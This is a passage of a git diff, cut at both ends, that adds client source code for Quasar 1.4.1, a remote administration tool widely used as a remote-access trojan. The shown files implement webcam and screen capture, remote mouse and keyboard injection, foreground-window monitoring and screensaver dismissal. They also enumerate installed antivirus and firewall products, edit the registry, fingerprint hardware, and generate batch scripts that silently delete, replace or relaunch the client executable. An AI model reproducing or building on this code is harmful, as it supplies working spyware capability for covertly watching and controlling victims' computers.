} + + // try connecting pins + if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) && + ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) + { + crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); + } + } + } + } + + /// + /// Notifies clients about new frame. + /// + /// + /// New frame's image. + /// + private void OnNewFrame( Bitmap image ) + { + framesReceived++; + bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); + + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) + NewFrame( this, new NewFrameEventArgs( image ) ); + } + + /// + /// Notifies clients about new snapshot frame. + /// + /// + /// New snapshot's image. + /// + private void OnSnapshotFrame( Bitmap image ) + { + TimeSpan timeSinceStarted = DateTime.Now - startTime; + + // TODO: need to find better way to ignore the first snapshot, which is sent + // automatically (or better disable it) + if ( timeSinceStarted.TotalSeconds >= 4 ) + { + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) + SnapshotFrame( this, new NewFrameEventArgs( image ) ); + } + } + + // + // Video grabber + // + private class Grabber : ISampleGrabberCB + { + private VideoCaptureDevice parent; + private bool snapshotMode; + private int width, height; + + // Width property + public int Width + { + get { return width; } + set { width = value; } + } + // Height property + public int Height + { + get { return height; } + set { height = value; } + } + + // Constructor + public Grabber( VideoCaptureDevice parent, bool snapshotMode ) + { + this.parent = parent; + this.snapshotMode = snapshotMode; + } + + // Callback to receive samples + public int SampleCB( double sampleTime, IntPtr sample ) + { + return 0; + } + + // Callback method that receives a pointer to the sample buffer + public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) + { + if ( parent.NewFrame != null ) + { + // create new image + System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); + + // lock bitmap data + BitmapData imageData = image.LockBits( + new Rectangle( 0, 0, width, height ), + ImageLockMode.ReadWrite, + PixelFormat.Format24bppRgb ); + + // copy image data + int srcStride = imageData.Stride; + int dstStride = imageData.Stride; + + unsafe + { + byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); + byte* src = (byte*) buffer.ToPointer( ); + + for ( int y = 0; y < height; y++ ) + { + Win32.memcpy( dst, src, srcStride ); + dst -= dstStride; + src += srcStride; + } + } + + // unlock bitmap data + image.UnlockBits( imageData ); + + // notify parent + if ( snapshotMode ) + { + parent.OnSnapshotFrame( image ); + } + else + { + parent.OnNewFrame( image ); + } + + // release the image + image.Dispose( ); + } + + return 0; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoInput.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoInput.cs new file mode 100755 index 0000000..d88b64d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoInput.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// Video input of a capture board. + /// + /// + /// The class is used to describe video input of devices like video capture boards, + /// which usually provide several inputs. + /// + /// + public class VideoInput + { + /// + /// Index of the video input. + /// + public readonly int Index; + + /// + /// Type of the video input. + /// + public readonly PhysicalConnectorType Type; + + internal VideoInput( int index, PhysicalConnectorType type ) + { + Index = index; + Type = type; + } + + /// + /// Default video input. Used to specify that it should not be changed. + /// + public static VideoInput Default + { + get { return new VideoInput( -1, PhysicalConnectorType.Default ); } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/IVideoSource.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/IVideoSource.cs new file mode 100755 index 0000000..d6ae3e5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/IVideoSource.cs @@ -0,0 +1,126 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright Andrew Kirillov, 2005-2009 +// andrew.kirillov@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Video source interface. + /// + /// + /// The interface describes common methods for different type of video sources. + /// + public interface IVideoSource + { + /// + /// New frame event. + /// + /// + /// This event is used to notify clients about new available video frame. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, but video source is responsible for + /// disposing its own original copy after notifying of clients. + /// + /// + event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// The meaning of the property depends on particular video source. + /// Depending on video source it may be a file name, URL or any other string + /// describing the video source. + /// + string Source { get; } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + int FramesReceived { get; } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + long BytesReceived { get; } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + bool IsRunning { get; } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + void Start( ); + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + void SignalToStop( ); + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for video source stopping after it was signalled to stop using + /// method. + /// + void WaitForStop( ); + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + void Stop( ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/VideoEvents.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/VideoEvents.cs new file mode 100755 index 0000000..c5729e5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/VideoEvents.cs @@ -0,0 +1,125 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Delegate for new frame event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); + + /// + /// Delegate for video source error event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); + + /// + /// Delegate for playing finished event handler. + /// + /// + /// Sender object. + /// Reason of finishing video playing. + /// + public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); + + /// + /// Reason of finishing video playing. + /// + /// + /// When video source class fire the event, they + /// need to specify reason of finishing video playing. For example, it may be end of stream reached. + /// + public enum ReasonToFinishPlaying + { + /// + /// Video playing has finished because it end was reached. + /// + EndOfStreamReached, + /// + /// Video playing has finished because it was stopped by user. + /// + StoppedByUser, + /// + /// Video playing has finished because the device was lost (unplugged). + /// + DeviceLost, + /// + /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). + /// A error reporting event usually is fired to provide error information. + /// + VideoSourceError + } + + /// + /// Arguments for new frame event from video source. + /// + /// + public class NewFrameEventArgs : EventArgs + { + private System.Drawing.Bitmap frame; + + /// + /// Initializes a new instance of the class. + /// + /// + /// New frame. + /// + public NewFrameEventArgs( System.Drawing.Bitmap frame ) + { + this.frame = frame; + } + + /// + /// New frame from video source. + /// + /// + public System.Drawing.Bitmap Frame + { + get { return frame; } + } + } + + /// + /// Arguments for video source error event from video source. + /// + /// + public class VideoSourceErrorEventArgs : EventArgs + { + private string description; + + /// + /// Initializes a new instance of the class. + /// + /// + /// Error description. + /// + public VideoSourceErrorEventArgs( string description ) + { + this.description = description; + } + + /// + /// Video source error description. + /// + /// + public string Description + { + get { return description; } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/DateTimeHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/DateTimeHelper.cs new file mode 100755 index 0000000..90405a0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/DateTimeHelper.cs @@ -0,0 +1,16 @@ +using System; + +namespace Quasar.Client.Helper +{ + public static class DateTimeHelper + { + public static string GetLocalTimeZone() + { + var tz = TimeZoneInfo.Local; + var tzOffset = tz.GetUtcOffset(DateTime.Now); + var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : ""; + var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName; + return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/JsonHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/JsonHelper.cs new file mode 100755 index 0000000..9dfdfe7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/JsonHelper.cs @@ -0,0 +1,46 @@ +using System.IO; +using System.Runtime.Serialization.Json; +using System.Text; + +namespace Quasar.Client.Helper +{ + /// + /// Provides methods to serialize and deserialize JSON. + /// + public static class JsonHelper + { + /// + /// Serializes an object to the respectable JSON string. + /// + public static string Serialize(T o) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream()) + { + s.WriteObject(ms, o); + return Encoding.UTF8.GetString(ms.ToArray()); + } + } + + /// + /// Deserializes a JSON string to the specified object. + /// + public static T Deserialize(string json) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json))) + { + return (T)s.ReadObject(ms); + } + } + + /// + /// Deserializes a JSON stream to the specified object. + /// + public static T Deserialize(Stream stream) + { + var s = new DataContractJsonSerializer(typeof(T)); + return (T)s.ReadObject(stream); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/NativeMethodsHelper.cs new file mode 100755 index 0000000..1002244 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -0,0 +1,197 @@ +using Quasar.Client.Utilities; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Helper +{ + public static class NativeMethodsHelper + { + private const int INPUT_MOUSE = 0; + private const int INPUT_KEYBOARD = 1; + + private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; + private const uint MOUSEEVENTF_LEFTUP = 0x0004; + private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; + private const uint MOUSEEVENTF_RIGHTUP = 0x0010; + private const uint MOUSEEVENTF_WHEEL = 0x0800; + private const uint KEYEVENTF_KEYDOWN = 0x0000; + private const uint KEYEVENTF_KEYUP = 0x0002; + + public static uint GetLastInputInfoTickCount() + { + NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); + lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo); + lastInputInfo.dwTime = 0; + NativeMethods.GetLastInputInfo(ref lastInputInfo); + return lastInputInfo.dwTime; + } + + public static void DoMouseLeftClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseRightClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseMove(Point p) + { + NativeMethods.SetCursorPos(p.X, p.Y); + } + + public static void DoMouseScroll(Point p, bool scrollDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = scrollDown ? -120 : 120, + dwFlags = MOUSEEVENTF_WHEEL, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoKeyPress(byte key, bool keyDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_KEYBOARD, + u = new NativeMethods.InputUnion + { + ki = new NativeMethods.KEYBDINPUT + { + wVk = key, + wScan = 0, + dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + private const int SPI_GETSCREENSAVERRUNNING = 114; + + public static bool IsScreensaverActive() + { + var running = IntPtr.Zero; + + if (!NativeMethods.SystemParametersInfo( + SPI_GETSCREENSAVERRUNNING, + 0, + ref running, + 0)) + { + // Something went wrong (Marshal.GetLastWin32Error) + } + + return running != IntPtr.Zero; + } + + private const uint DESKTOP_WRITEOBJECTS = 0x0080; + private const uint DESKTOP_READOBJECTS = 0x0001; + private const int WM_CLOSE = 16; + private const uint SPI_SETSCREENSAVEACTIVE = 0x0011; + private const uint SPIF_SENDWININICHANGE = 0x0002; + + public static void DisableScreensaver() + { + var handle = NativeMethods.OpenDesktop("Screen-saver", 0, + false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS); + + if (handle != IntPtr.Zero) + { + NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) => + { + if (NativeMethods.IsWindowVisible(hWnd)) + NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + + // Continue enumeration even if it fails + return true; + }, + IntPtr.Zero); + NativeMethods.CloseDesktop(handle); + } + else + { + NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + } + + // We need to restart the counter for next screensaver according to + // https://support.microsoft.com/en-us/kb/140723 + // (this may not be needed since we simulate mouse click afterwards) + + var dummy = IntPtr.Zero; + + // Doesn't really matter if this fails + NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE); + + } + + public static string GetForegroundWindowTitle() + { + StringBuilder sbTitle = new StringBuilder(1024); + + NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity); + + return sbTitle.ToString(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/RegistryKeyHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/RegistryKeyHelper.cs new file mode 100755 index 0000000..2331c6a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/RegistryKeyHelper.cs @@ -0,0 +1,158 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Common.Models; +using Quasar.Common.Utilities; + +namespace Quasar.Client.Helper +{ + public static class RegistryKeyHelper + { + private static string DEFAULT_VALUE = String.Empty; + + /// + /// Adds a value to the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value. + /// The value. + /// If set to True, adds quotes to the value. + /// True on success, else False. + public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + + if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\"")) + value = "\"" + value + "\""; + + key.SetValue(name, value); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Opens a read-only registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// + public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path) + { + try + { + return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false); + } + catch + { + return null; + } + } + + /// + /// Deletes the specified value from the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value to delete. + /// True on success, else False. + public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + key.DeleteValue(name, true); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Checks if the provided value is the default value + /// + /// The name of the value + /// True if default value, else False + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + /// + /// Adds the default value to the list of values and returns them as an array. + /// If default value already exists this function will only return the list as an array. + /// + /// The list with the values for which the default value should be added to + /// Array with all of the values including the default value + public static RegValueData[] AddDefaultValue(List values) + { + if(!values.Any(value => IsDefaultValue(value.Name))) + { + values.Add(GetDefaultValue()); + } + return values.ToArray(); + } + + /// + /// Gets the default registry values + /// + /// A array with the default registry values + public static RegValueData[] GetDefaultValues() + { + return new[] {GetDefaultValue()}; + } + + public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null) + { + var newRegValue = new RegValueData {Name = name, Kind = kind}; + + if (value == null) + newRegValue.Data = new byte[] { }; + else + { + switch (newRegValue.Kind) + { + case RegistryValueKind.Binary: + newRegValue.Data = (byte[]) value; + break; + case RegistryValueKind.MultiString: + newRegValue.Data = ByteConverter.GetBytes((string[]) value); + break; + case RegistryValueKind.DWord: + newRegValue.Data = ByteConverter.GetBytes((uint) (int) value); + break; + case RegistryValueKind.QWord: + newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + newRegValue.Data = ByteConverter.GetBytes((string) value); + break; + } + } + + return newRegValue; + } + + private static RegValueData GetDefaultValue() + { + return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/ScreenHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/ScreenHelper.cs new file mode 100755 index 0000000..a41730b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/ScreenHelper.cs @@ -0,0 +1,38 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.Windows.Forms; +using Quasar.Client.Utilities; + +namespace Quasar.Client.Helper +{ + public static class ScreenHelper + { + private const int SRCCOPY = 0x00CC0020; + + public static Bitmap CaptureScreen(int screenNumber) + { + Rectangle bounds = GetBounds(screenNumber); + Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb); + + using (Graphics g = Graphics.FromImage(screen)) + { + IntPtr destDeviceContext = g.GetHdc(); + IntPtr srcDeviceContext = NativeMethods.CreateDC("DISPLAY", null, null, IntPtr.Zero); + + NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X, + bounds.Y, SRCCOPY); + + NativeMethods.DeleteDC(srcDeviceContext); + g.ReleaseHdc(destDeviceContext); + } + + return screen; + } + + public static Rectangle GetBounds(int screenNumber) + { + return Screen.AllScreens[screenNumber].Bounds; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/SystemHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/SystemHelper.cs new file mode 100755 index 0000000..8be47bd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/SystemHelper.cs @@ -0,0 +1,95 @@ +using Quasar.Common.Helpers; +using System; +using System.Management; + +namespace Quasar.Client.Helper +{ + public static class SystemHelper + { + public static string GetUptime() + { + try + { + string uptime = string.Empty; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'")) + { + foreach (ManagementObject mObject in searcher.Get()) + { + DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString()); + TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks); + + uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds); + break; + } + } + + if (string.IsNullOrEmpty(uptime)) + throw new Exception("Getting uptime failed"); + + return uptime; + } + catch (Exception) + { + return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0); + } + } + + public static string GetPcName() + { + return Environment.MachineName; + } + + public static string GetAntivirus() + { + try + { + string antivirusName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter"; + string query = "SELECT * FROM AntivirusProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + antivirusName += mObject["displayName"].ToString() + "; "; + } + } + antivirusName = StringHelper.RemoveLastChars(antivirusName); + + return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + public static string GetFirewall() + { + try + { + string firewallName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter"; + string query = "SELECT * FROM FirewallProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + firewallName += mObject["displayName"].ToString() + "; "; + } + } + firewallName = StringHelper.RemoveLastChars(firewallName); + + return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A"; + } + catch + { + return "Unknown"; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/ILRepack.targets b/Quasar-1.4.1/Quasar.Client/ILRepack.targets new file mode 100755 index 0000000..e72bf5c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/ILRepack.targets @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Client/IO/BatchFile.cs b/Quasar-1.4.1/Quasar.Client/IO/BatchFile.cs new file mode 100755 index 0000000..c927bb5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IO/BatchFile.cs @@ -0,0 +1,79 @@ +using Quasar.Common.Helpers; +using System.IO; +using System.Text; + +namespace Quasar.Client.IO +{ + /// + /// Provides methods to create batch files for application update, uninstall and restart operations. + /// + public static class BatchFile + { + /// + /// Creates the uninstall batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateUninstallBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string uninstallBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the update batch file. + /// + /// The current file path of the client. + /// The new file path of the client. + /// The file path to the batch file which can then get executed. Returns an empty string on failure. + public static string CreateUpdateBatch(string currentFilePath, string newFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string updateBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 15 localhost > nul" + "\r\n" + // Increased delay to 15 seconds + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the restart batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateRestartBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string restartBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); + + return batchFile; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IO/HardwareDevices.cs b/Quasar-1.4.1/Quasar.Client/IO/HardwareDevices.cs new file mode 100755 index 0000000..a75c2c1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IO/HardwareDevices.cs @@ -0,0 +1,264 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System; +using System.Linq; +using System.Management; +using System.Net.NetworkInformation; +using System.Net.Sockets; + +namespace Quasar.Client.IO +{ + /// + /// Provides access to retrieve information about the used hardware devices. + /// + /// Caches the retrieved information to reduce the slowdown of the slow WMI queries. + public static class HardwareDevices + { + /// + /// Gets a unique hardware id as a combination of various hardware components. + /// + public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer)); + + /// + /// Used to cache the hardware id. + /// + private static string _hardwareId; + + /// + /// Gets the name of the system CPU. + /// + public static string CpuName => _cpuName ?? (_cpuName = GetCpuName()); + + /// + /// Used to cache the CPU name. + /// + private static string _cpuName; + + /// + /// Gets the name of the GPU. + /// + public static string GpuName => _gpuName ?? (_gpuName = GetGpuName()); + + /// + /// Used to cache the GPU name. + /// + private static string _gpuName; + + /// + /// Gets the name of the BIOS manufacturer. + /// + public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer()); + + /// + /// Used to cache the BIOS manufacturer. + /// + private static string _biosManufacturer; + + /// + /// Gets the name of the mainboard. + /// + public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName()); + + /// + /// Used to cache the mainboard name. + /// + private static string _mainboardName; + + /// + /// Gets the total physical memory of the system in megabytes (MB). + /// + public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb()); + + /// + /// Used to cache the total physical memory. + /// + private static int? _totalPhysicalMemory; + + /// + /// Gets the LAN IP address of the network interface. + /// + public static string LanIpAddress => GetLanIpAddress(); + + /// + /// Gets the MAC address of the network interface. + /// + public static string MacAddress => GetMacAddress(); + + private static string GetBiosManufacturer() + { + try + { + string biosIdentifier = string.Empty; + string query = "SELECT * FROM Win32_BIOS"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + biosIdentifier = mObject["Manufacturer"].ToString(); + break; + } + } + + return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static string GetMainboardName() + { + try + { + string mainboardIdentifier = string.Empty; + string query = "SELECT * FROM Win32_BaseBoard"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString(); + break; + } + } + + return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static string GetCpuName() + { + try + { + string cpuName = string.Empty; + string query = "SELECT * FROM Win32_Processor"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + cpuName += mObject["Name"].ToString() + "; "; + } + } + cpuName = StringHelper.RemoveLastChars(cpuName); + + return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static int GetTotalPhysicalMemoryInMb() + { + try + { + int installedRAM = 0; + string query = "Select * From Win32_ComputerSystem"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"])); + installedRAM = (int)(bytes / 1048576); // bytes to MB + break; + } + } + + return installedRAM; + } + 